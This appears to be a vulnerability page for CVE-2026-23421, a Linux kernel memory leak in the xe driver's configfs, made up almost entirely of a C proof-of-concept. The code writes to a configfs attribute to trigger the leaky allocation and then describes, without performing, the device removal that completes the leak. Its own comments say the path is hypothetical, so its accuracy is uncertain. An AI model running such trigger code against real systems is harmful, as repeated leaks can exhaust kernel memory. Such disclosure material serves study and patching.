CVE-2026-23421 Linux内核内存泄漏漏洞

/* * PoC for CVE-2026-23421: Linux Kernel Memory Leak in drm/xe/configfs * This script demonstrates the trigger condition for the memory leak. * Note: Actual path depends on kernel config and driver mounting. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> // Hypothetical configfs path for xe device #define CONFIGFS_DEVICE_PATH "/sys/kernel/config/xe/gt0/wa_bb" int main(int argc, char **argv) { printf("[*] CVE-2026-23421 PoC Trigger\n"); printf("[*] Attempting to trigger allocation in wa_bb_store...\n"); // Step 1: Open the configfs attribute to trigger allocation int fd = open(CONFIGFS_DEVICE_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open configfs attribute"); printf("[-] Ensure debugfs/configfs is mounted and xe driver is loaded.\n"); return 1; } // Step 2: Write data to trigger the memory allocation logic const char *trigger_data = "trigger_leak_data"; if (write(fd, trigger_data, strlen(trigger_data)) < 0) { perror("[-] Write failed"); close(fd); return 1; } close(fd); printf("[+] Data written, memory allocated (ctx_restore_mid_bb).\n"); // Step 3: Simulate device removal/release // In a real scenario, removing the directory triggers xe_config_device_release printf("[*] To complete the leak, remove the configfs device entry.\n"); printf("[*] This triggers xe_config_device_release which misses freeing ctx_restore_mid_bb[0].cs.\n"); return 0; }